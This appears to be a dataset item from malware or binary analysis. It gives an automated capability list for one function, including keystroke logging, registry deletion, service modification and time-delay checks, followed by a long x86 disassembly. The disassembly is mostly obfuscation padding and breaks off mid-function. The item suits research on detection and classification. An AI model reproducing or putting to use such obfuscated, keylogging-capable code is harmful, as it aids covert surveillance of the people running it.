Function at 0x1002dc49
Capabilities:
Accept command line arguments
Allocate thread local storage
Check for time delay via gettickcount
Check http status code
Check os version
Create pipe
Create process on windows
Create two anonymous pipes
Delete registry key
Delete registry value
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file attributes
Get file size
Get geographical location
Log keystrokes
Log keystrokes via polling
Modify service
Parse pe header
Query environment variable
Query service status
Read .ini file
Terminate process

Disassembly:
mov eax, 0x1007b7be
call fcn.1007a0d8
mov eax, 0x1674
call fcn.10076890
push ebx
mov dword [ebp - 0x24], 0xe1abe8f2
push esi
mov esi, 0xfc5c2f0
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
dec eax
mov byte [ebp - 0x69], dl
neg eax
push edi
sbb eax, eax
mov edi, dword [sym.imp.USER32.dll_EnumWindows]
neg eax
imul eax, eax, 0xfff7
push 3
pop ecx
push 2
pop edx
sub eax, 0xfff6
neg eax
sbb eax, eax
xor ebx, ebx
inc eax
inc ebx
sub eax, dword [ebp - 0x24]
imul eax, eax, 0x39d9
test eax, eax
je 0x1002dce2
mov dword [ebp - 0x28], 0xcf86511
mov dword [ebp - 0x38], 0x69be541
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
xor eax, eax
jmp 0x1002dddd
mov dword [ebp - 0x28], ebx
xor eax, eax
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002dd0e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5f0], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002dcf6
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002dd24
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe00], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002dd13
mov eax, dword [ebp - 0x5ec]
sub eax, dword [ebp - 0x5e8]
jne 0x1002dd3c
cmp dword [ebp - 0x24], eax
je 0x1002dd3e
mov eax, ebx
xor ecx, ecx
cmp eax, 0xb91300d3
mov eax, dword [ebp - 0x24]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
test ecx, ecx
jle 0x1002dd6c
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x5f0], eax
je 0x1002dd6e
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x5f0]
imul eax, dword [ebp - 0x38]
cmp eax, edx
setl cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
cmp eax, 0x3942
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
cmp ecx, 0x3ed8
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x5f0]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0xe00], ecx
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002ddd7
push eax
push eax
call edi
xor eax, eax
push 3
pop ecx
push 2
pop edx
mov dword [ebp - 0x24], 0xe1abe8f2
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
dec eax
neg eax
sbb eax, eax
neg eax
imul eax, eax, 0xfff7
sub eax, 0xfff6
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x24]
imul eax, eax, 0x39d9
test eax, eax
je 0x1002de3c
mov dword [ebp - 0x28], 0xcf86511
mov dword [ebp - 0x38], 0x69be541
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
jmp 0x1002df2f
mov dword [ebp - 0x28], ebx
xor eax, eax
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002de68
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x514], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002de50
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002de7e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf4c], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1002de6d
mov eax, dword [ebp - 0x510]
sub eax, dword [ebp - 0x50c]
jne 0x1002de96
cmp dword [ebp - 0x24], eax
je 0x1002de98
mov eax, ebx
xor ecx, ecx
cmp eax, 0xb91300d3
mov eax, dword [ebp - 0x24]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
test ecx, ecx
jle 0x1002dec6
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x514], eax
je 0x1002dec8
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x514]
imul eax, dword [ebp - 0x38]
cmp eax, edx
setl cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
cmp eax, 0x3942
mov eax, dword [ebp - 0x24]
setge cl
xor edx, edx
cmp ecx, 0x3ed8
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x514]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0xf4c], ecx
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002df2f
push eax
push eax
call edi
push 2
mov dword [ebp - 0x2c], 0xe1abe8f2
lea ecx, [ebp - 0x3d4]
mov dword [ebp - 0x38], esi
pop esi
push esi
call fcn.10015d9e
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x7822e6e7
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002df7a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd64], 0x327cb3f4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002df62
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002df9c
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3d4]
call fcn.10015e0b
mov dword [eax], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002df82
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002dfba
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1620], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002dfa5
xor eax, eax
push eax
lea ecx, [ebp - 0x3d4]
call fcn.10015e0b
xor ecx, ecx
push ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x3d4]
call fcn.10015e0b
or ecx, 0xffffffff
push 3
pop esi
cmp dword [eax], 0
jg 0x1002e08d
mov dword [ebp - 0x30], 0xfffffffa
lea ecx, [ebp - 0x9b8]
push esi
call fcn.10015d9e
xor eax, eax
mov byte [ebp - 4], bl
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002e01c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x14ec], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002e008
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002e045
or ebx, 0xffffffff
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9b8]
call fcn.10015e0b
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002e027
xor ebx, ebx
push 2
inc ebx
pop ecx
push ecx
lea ecx, [ebp - 0x9b8]
call fcn.10015e0b
lea ecx, [ebp - 0x9b8]
inc dword [eax]
xor eax, eax
mov byte [ebp - 4], al
call fcn.10015e06
xor eax, eax
lea ecx, [ebp - 0x3d4]
push eax
call fcn.10015e0b
lea ecx, [ebp - 0x3d4]
inc dword [eax]
xor eax, eax
push eax
call fcn.10015e0b
cmp dword [eax], 0
jle 0x1002dfe5
or ecx, 0xffffffff
mov dword [ebp - 4], ecx
lea ecx, [ebp - 0x3d4]
call fcn.10015e06
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xcac]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x48], 0xfffffffd
push 4
call fcn.10015d9e
push 2
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1002e0ed
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xcac]
call fcn.10015e0b
mov dword [eax], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002e0ce
xor eax, eax
mov dword [ebp - 0x14], eax
mov ecx, 0xd7006986
cmp dword [ebp - 0x14], 0xd
je 0x1002e196
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
je 0x1002e135
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, esi
setg cl
add edx, ecx
add edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x18]
jg 0x1002e133
mov edx, ebx
jmp 0x1002e137
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
test ecx, ecx
setns al
xor ecx, ecx
cmp eax, 0x3111738a
setne cl
xor eax, eax
imul ecx, dword [ebp - 0x18]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x29
jg 0x1002e181
xor ebx, ebx
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], bl
je 0x1002e175
push ebx
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x29
jle 0x1002e166
xor ebx, ebx
inc ebx
inc dword [ebp - 0x14]
mov ecx, 0xd7006986
cmp dword [ebp - 0x14], 0xd
push 0
pop eax
jne 0x1002e0ff
mov dword [ebp - 0x34], eax
jmp 0x1002e1a9
push dword [ebp - 0x34]
call fcn.10015e0b
and dword [eax], 0
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 4
lea ecx, [ebp - 0xcac]
jl 0x1002e19b
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10015e06
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
dec eax
neg eax
sbb eax, eax
neg eax
imul eax, eax, 0xfff7
sub eax, 0xfff6
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x2c]
imul eax, eax, 0x39d9
test eax, eax
je 0x1002e3de
mov dword [ebp - 0x18], 0xeca4
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x44], 0x36d0c11e
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x30], 0x842b4cf2
mov dword [ebp - 0x1c], eax
jmp 0x1002e237
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe40], 0xc43cc9f1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002e226
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
dec eax
neg eax
sbb eax, eax
inc eax
cmp esi, eax
sbb eax, eax
add eax, 0x11082d9b
neg eax
sbb eax, eax
add eax, 0xffff1d7e
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
setl cl
cmp ecx, dword [ebp - 0x18]
jne 0x1002e289
mov eax, dword [ebp - 0xe3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
sub edx, 0xf141
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], 0xcf86511
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002e2e2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15b0], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002e2ca
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002e305
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x654], 0x9cd4431f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002e2ed
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e31c
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jg 0x1002e3cc
mov dword [ebp - 0x34], 0x53bc
cmp dword [ebp - 0x34], eax
je 0x1002e340
mov dword [ebp - 0x38], 8
inc dword [ebp - 0x38]
jmp 0x1002e3b5
or ecx, 0xffffffff
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x34], eax
je 0x1002e352
mov esi, ebx
cmp dword [ebp - 0x18], eax
jne 0x1002e354
mov esi, eax
xor ecx, ecx
mov edx, 0xce3051eb
mov dword [ebp - 0x650], edx
mov eax, dword [ebp - 0x18]
cmp eax, edx
setg cl
xor edx, edx
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor eax, eax
inc edx
sub esi, edx
sub esi, dword [ebp - 0x34]
add esi, 4
je 0x1002e3ab
cmp dword [ebp - 0x34], eax
jne 0x1002e3c9
push 2
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x1002e3a4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x654], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002e397
jmp 0x1002e3b3
cmp dword [ebp - 0x34], eax
jne 0x1002e3c9
push 2
pop ecx
xor eax, eax
cmp dword [ebp - 0x650], eax
jne 0x1002e3c9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1002e328
push 3
pop esi
mov dword [ebp - 0x38], 0x69be541
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
jmp 0x1002e600
mov dword [ebp - 0x44], ebx
or ecx, 0xffffffff
mov dword [ebp - 0x38], 0xfffffffb
xor eax, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002e414
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x72c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002e3ff
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002e42a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x132c], 0x812a3cc9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002e419
mov eax, dword [ebp - 0x720]
xor edx, edx
mov eax, dword [ebp - 0x728]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x728]
mov eax, dword [ebp - 0x720]
cmp eax, ecx
mov ecx, dword [ebp - 0x720]
mov eax, dword [ebp - 0x38]
setge dl
xor ebx, ebx
cmp edx, 0x1e4f
setne bl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp ebx, eax
setle cl
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x1034]
setg al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x720]
sub eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
xor ebx, ebx
inc eax
inc ebx
mov dword [ebp - 0x132c], eax
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 0x3f4f46db
push ebx
call fcn.10015d9e
mov dword [ebp - 4], esi
or eax, 0xffffffff
mov dword [ebp - 0x30], 0x8f5f4990
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x38], 0x74d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002e4f0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1034]
call fcn.10015e0b
mov dword [eax], 0x1f665683
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002e4d2
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e500
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
dec dword [ebp - 0x38]
lea ecx, [ebp - 0x1034]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10015e06
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002e536
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x66c], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002e51e
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x1002e54f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe14], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002e53e
mov eax, dword [ebp - 0x668]
sub eax, dword [ebp - 0x664]
jne 0x1002e567
cmp dword [ebp - 0x2c], eax
je 0x1002e569
mov eax, ebx
xor ecx, ecx
cmp eax, 0xb91300d3
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
test ecx, ecx
jle 0x1002e597
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x66c], eax
je 0x1002e599
mov edx, ebx
mov eax, dword [ebp - 0x44]
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x66c]
imul eax, dword [ebp - 0x38]
cmp eax, edx
setl cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
cmp eax, 0x3942
mov eax, dword [ebp - 0x2c]
setge cl
xor edx, edx
cmp ecx, 0x3ed8
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x66c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0xe14], ecx
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e600
push eax
push eax
call edi
push esi
lea ecx, [ebp - 0x804]
call fcn.10015d9e
mov dword [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x18], 0x6aabecba
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002e642
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x804]
call fcn.10015e0b
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002e624
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jg 0x1002e680
push 2
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x804]
call fcn.10015e0b
push dword [ebp - 0x18]
lea ecx, [ebp - 0x804]
mov esi, eax
call fcn.10015e0b
mov ecx, dword [esi]
mov dword [eax], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002e64e
xor ebx, ebx
push 3
inc ebx
xor eax, eax
pop esi
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e694
push 0x3aa
call dword [sym.imp.KERNEL32.dll_ExitProcess]
or eax, 0xffffffff
lea ecx, [ebp - 0x804]
mov dword [ebp - 4], eax
call fcn.10015e06
or eax, 0xffffffff
lea ecx, [ebp - 0x9c4]
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x48], 0xfffffffd
push 4
call fcn.10015d9e
xor eax, eax
mov dword [ebp - 4], 5
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1002e6f5
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9c4]
call fcn.10015e0b
mov dword [eax], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002e6d6
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xd
je 0x1002e799
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
je 0x1002e73d
mov eax, dword [ebp - 0x14]
mov ecx, 0xd7006986
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, esi
setg cl
add edx, ecx
add edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x18]
jg 0x1002e73b
mov edx, ebx
jmp 0x1002e73f
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
test ecx, ecx
setns al
xor ecx, ecx
cmp eax, 0x3111738a
setne cl
xor eax, eax
imul ecx, dword [ebp - 0x18]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x29
jg 0x1002e789
xor ebx, ebx
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], bl
je 0x1002e77d
push ebx
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x29
jle 0x1002e76e
xor ebx, ebx
inc ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xd
push 0
pop eax
jne 0x1002e702
mov dword [ebp - 0x34], eax
jmp 0x1002e7ac
push dword [ebp - 0x34]
call fcn.10015e0b
and dword [eax], 0
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 4
lea ecx, [ebp - 0x9c4]
jl 0x1002e79e
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10015e06
mov dword [ebp - 0x18], 0xeca4
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x44], 0x36d0c11e
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x30], 0x842b4cf2
mov dword [ebp - 0x1c], eax
jmp 0x1002e7fd
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe58], 0xc43cc9f1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002e7ec
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
dec eax
neg eax
sbb eax, eax
inc eax
cmp esi, eax
sbb eax, eax
add eax, 0x11082d9b
neg eax
sbb eax, eax
add eax, 0xffff1d7e
mov dword [ebp - 0xe58], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
setl cl
cmp ecx, dword [ebp - 0x18]
jne 0x1002e84f
mov eax, dword [ebp - 0xe54]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
sub edx, 0xf141
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], 0xe1abe8f2
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002e8a8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15d4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002e890
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002e8cb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4d4], 0x9cd4431f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002e8b3
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e8e2
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jg 0x1002e996
mov dword [ebp - 0x34], 0x53bc
cmp dword [ebp - 0x34], eax
je 0x1002e906
mov dword [ebp - 0x38], 8
inc dword [ebp - 0x38]
jmp 0x1002e97b
or ecx, 0xffffffff
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x34], eax
je 0x1002e918
mov esi, ebx
cmp dword [ebp - 0x18], eax
jne 0x1002e91a
mov esi, eax
xor ecx, ecx
mov edx, 0xce3051eb
mov dword [ebp - 0x4d0], edx
mov eax, dword [ebp - 0x18]
cmp eax, edx
setg cl
xor edx, edx
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor eax, eax
inc edx
sub esi, edx
sub esi, dword [ebp - 0x34]
add esi, 4
je 0x1002e971
cmp dword [ebp - 0x34], eax
jne 0x1002e991
push 2
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x1002e96a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4d4], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002e95d
jmp 0x1002e979
cmp dword [ebp - 0x34], eax
jne 0x1002e991
push 2
pop ecx
xor eax, eax
cmp dword [ebp - 0x4d0], eax
jne 0x1002e993
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1002e8ee
jmp 0x1002e993
xor eax, eax
push 3
pop esi
mov dword [ebp - 0x38], 0xfc5c2f0
or ecx, 0xffffffff
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002e9c7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x70c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002e9b2
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002e9dd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1344], 0x812a3cc9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002e9cc
mov eax, dword [ebp - 0x700]
xor edx, edx
mov eax, dword [ebp - 0x708]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x708]
mov eax, dword [ebp - 0x700]
cmp eax, ecx
mov ecx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x38]
setge dl
xor ebx, ebx
cmp edx, 0x1e4f
setne bl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp ebx, eax
setle cl
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0xf78]
setg al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x700]
sub eax, dword [ebp - 0x38]
neg eax
